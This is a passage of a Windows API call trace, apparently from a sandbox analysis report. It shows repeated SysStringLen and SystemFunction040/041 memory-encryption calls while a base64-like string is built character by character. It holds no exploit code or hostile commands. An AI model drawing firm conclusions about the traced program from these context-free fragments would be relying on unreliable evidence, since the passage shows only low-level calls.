lpBuffer="\x9fcb\x72b0\xadb8\x667\x1082\x73b6\xbab0\x42f\x108e\x73b6\xe63c\x99a\xc37\x72b2\xadb8\x667\x0b") returned 0x0 [0135.805] EtwEventActivityIdControl (in: ControlCode=0x3, ActivityId=0x99ae9dc*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae9dc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.805] EtwEventActivityIdControl (in: ControlCode=0x1, ActivityId=0x99ae93c*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0)) | out: ActivityId=0x99ae93c*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xc, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.805] EtwEventActivityIdControl (in: ControlCode=0x2, ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1)) | out: ActivityId=0x99ae9cc*(Data1=0x4a301033, Data2=0xae34, Data3=0x0, Data4=([0]=0xe, [1]=0x1b, [2]=0x30, [3]=0x4a, [4]=0x34, [5]=0xae, [6]=0xd4, [7]=0x1))) returned 0x0 [0135.806] SysStringLen (param_1="") returned 0x8 [0135.806] SysStringLen (param_1="Y") returned 0x8 [0135.806] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.806] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.806] SysStringLen (param_1="\x917a\xa91d\x5d2b\x8d5\x1c0c\x2d38\x92fc\x76bf") returned 0x8 [0135.806] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.806] SysStringLen (param_1="YW") returned 0x8 [0135.806] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.806] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.806] SysStringLen (param_1="ุ祥獟宒撯⊟車") returned 0x8 [0135.806] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.806] SysStringLen (param_1="YWM") returned 0x8 [0135.807] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.807] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.807] SysStringLen (param_1="\x9df0\x3643\x8738\x2a31\x9d61\xe42a\xc65f\x3c4") returned 0x8 [0135.807] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.807] SysStringLen (param_1="YWM1") returned 0x8 [0135.807] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.807] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.807] SysStringLen (param_1="\x39bd\xb9a7\x9418\x1675\x10c5\xa288\x6787\x216c") returned 0x8 [0135.807] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.807] SysStringLen (param_1="YWM1O") returned 0x8 [0135.807] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.807] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.807] SysStringLen (param_1="\xe9bc\x3a97\x4b0\x1a23\xcdf4\x6958\x923b\x897") returned 0x8 [0135.807] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.807] SysStringLen (param_1="YWM1OT") returned 0x8 [0135.807] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.807] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.807] SysStringLen (param_1="䰻ᝁ哔鰷씻ꚾ∞熼") returned 0x8 [0135.808] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.808] SysStringLen (param_1="YWM1OTE") returned 0x8 [0135.808] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.808] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.808] SysStringLen (param_1="\x55e4\x3a1\xb8de\x67f4\xb1cb\x2437\x803b\x31a4") returned 0x8 [0135.808] SystemFunction041 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.808] SysStringLen (param_1="YWM1OTEw") returned 0x8 [0135.808] SystemFunction040 (in: Memory=0x8e15124, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x8e15124) returned 0x0 [0135.808] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.808] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.809] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x8 [0135.809] SysStringLen (param_1="会ၐ肹෨蜍ꕊ缸ꇜ") returned 0x10 [0135.809] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.809] SysStringLen (param_1="YWM1OTEwYၺ೮䏍뇟㫃鄏") returned 0x10 [0135.809] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.809] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.809] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xdcfe\x72ec\xf1cf\x85a7\xbfd0\x16d5\xe621\x93a2") returned 0x10 [0135.809] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.810] SysStringLen (param_1="YWM1OTEwYW೮䏍뇟㫃鄏") returned 0x10 [0135.810] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.810] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.810] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xcef2\xa6c7\xd746\xe957\x3ef3\x5872\xb88a\xad48") returned 0x10 [0135.810] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.810] SysStringLen (param_1="YWM1OTEwYWQ೮䏍뇟㫃鄏") returned 0x10 [0135.810] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.810] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.810] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x62e3\xd42b\xa577\xd150\x2c99\x571a\xcba5\x6dcc") returned 0x10 [0135.810] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.810] SysStringLen (param_1="YWM1OTEwYWQ4䏍뇟㫃鄏") returned 0x10 [0135.810] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.810] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.810] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x4231\x703b\xcf8d\xc9dc\xc02d\x7463\x9ff9\x4820") returned 0x10 [0135.810] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.810] SysStringLen (param_1="YWM1OTEwYWQ4Z뇟㫃鄏") returned 0x10 [0135.810] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.810] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.810] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x2cff\xd5e2\x9f68\x7e8b\x32fa\x6471\x7975\x2c00") returned 0x10 [0135.810] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.810] SysStringLen (param_1="YWM1OTEwYWQ4ZT㫃鄏") returned 0x10 [0135.811] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.811] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.811] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x3df\xd244\xa8e3\x55c4\xf620\xe54d\xf064\x81d2") returned 0x10 [0135.811] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.811] SysStringLen (param_1="YWM1OTEwYWQ4ZTI鄏") returned 0x10 [0135.811] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.811] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.811] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\x879a\x7653\x5503\x7411\x9ee7\x19b3\xd3b7\x7d70") returned 0x10 [0135.811] SystemFunction041 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.811] SysStringLen (param_1="YWM1OTEwYWQ4ZTIz") returned 0x10 [0135.811] SystemFunction040 (in: Memory=0x8e5f22c, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x8e5f22c) returned 0x0 [0135.811] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.811] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.811] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x10 [0135.811] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372") returned 0x18 [0135.811] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.811] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNEꂰ㓋뺍᳧玡") returned 0x18 [0135.811] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.811] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.811] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x383f\x20d8\xebfe\xd582\x13d\xc673\xcbfc\x296a") returned 0x18 [0135.812] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.812] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGꂰ㓋뺍᳧玡") returned 0x18 [0135.812] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.812] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.812] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xd39c\x87f9\xe53\xbc93\x8e34\x136b\x9f58\xb9bd") returned 0x18 [0135.812] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.812] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGN㓋뺍᳧玡") returned 0x18 [0135.812] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.812] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.812] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x83d\x526e\xa67f\x8365\xbc02\xe08d\xf33c\x953") returned 0x18 [0135.812] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.812] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNh㓋뺍᳧玡") returned 0x18 [0135.812] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.812] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.812] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xe480\xc5f3\xb436\x41c3\xd93\xbdd2\xde23\xa39e") returned 0x18 [0135.812] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.812] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhM뺍᳧玡") returned 0x18 [0135.812] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.812] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.812] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x633a\xb9b0\x72e7\x9e3c\x6f11\xd537\x2a29\x6fe1") returned 0x18 [0135.812] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.812] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMj᳧玡") returned 0x18 [0135.813] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.813] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.813] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\xc423\x6ee5\x557f\xd829\x23d9\xad08\xf786\x1c34") returned 0x18 [0135.813] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.813] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjF玡") returned 0x18 [0135.813] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.813] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.813] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x2042\x1a1a\xd6bd\xab7b\xf565\x9e6b\x5b05\x91b6") returned 0x18 [0135.813] SystemFunction041 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.813] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFm") returned 0x18 [0135.813] SystemFunction040 (in: Memory=0x8e8852c, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x8e8852c) returned 0x0 [0135.813] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.813] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.813] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x18 [0135.813] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e") returned 0x20 [0135.813] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.813] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmN쿼沓ꇑ੎촢럝") returned 0x20 [0135.813] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.813] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.813] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xda35\xd992\xbcfc\x6e8b\x5222\xb2df\xdd35\xd819") returned 0x20 [0135.813] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.814] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNm쿼沓ꇑ੎촢럝") returned 0x20 [0135.814] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.814] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.814] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xee22\xd485\xf0b3\xe153\xc911\xda14\xaea\xb7cf") returned 0x20 [0135.814] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.814] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI沓ꇑ੎촢럝") returned 0x20 [0135.814] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.814] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.814] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\xb291\x3103\xb40b\xe805\xdd6\xf594\xa41c\xc995") returned 0x20 [0135.814] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.814] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3ꇑ੎촢럝") returned 0x20 [0135.814] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.814] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.814] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x3fe2\xb16b\x8322\xba11\x2539\xafa8\xedc3\x3f3e") returned 0x20 [0135.814] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.814] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3Y੎촢럝") returned 0x20 [0135.814] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.814] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.815] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x447e\x9a10\x265a\x4ce9\xeb63\x3251\x2a42\x8e02") returned 0x20 [0135.815] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.815] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YT촢럝") returned 0x20 [0135.815] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.815] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.815] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x596f\x1382\xebca\x2475\xe9a9\xbb9a\x57b1\x5b51") returned 0x20 [0135.815] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.815] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZ럝") returned 0x20 [0135.815] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.815] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.815] SysStringLen (param_1="\x4f1a\x1050\x80b9\xde8\x870d\xa54a\x7f38\xa1dc\xa375\x6f\xd3f8\xebc0\xf00b\xaa18\x591c\x4372\x7192\xe201\xbcb4\x6d95\x6511\x1edb\x88d9\x870e\x6120\xe211\x4924\xf329\x5954\x1650\x625b\xd5ef") returned 0x20 [0135.815] SystemFunction041 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.815] SysStringLen (param_1="YWM1OTEwYWQ4ZTIzNGNhMjFmNmI3YTZl") returned 0x20 [0135.815] SystemFunction040 (in: Memory=0x43b19c4, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x43b19c4) returned 0x0 [0135.815] SysStringLen 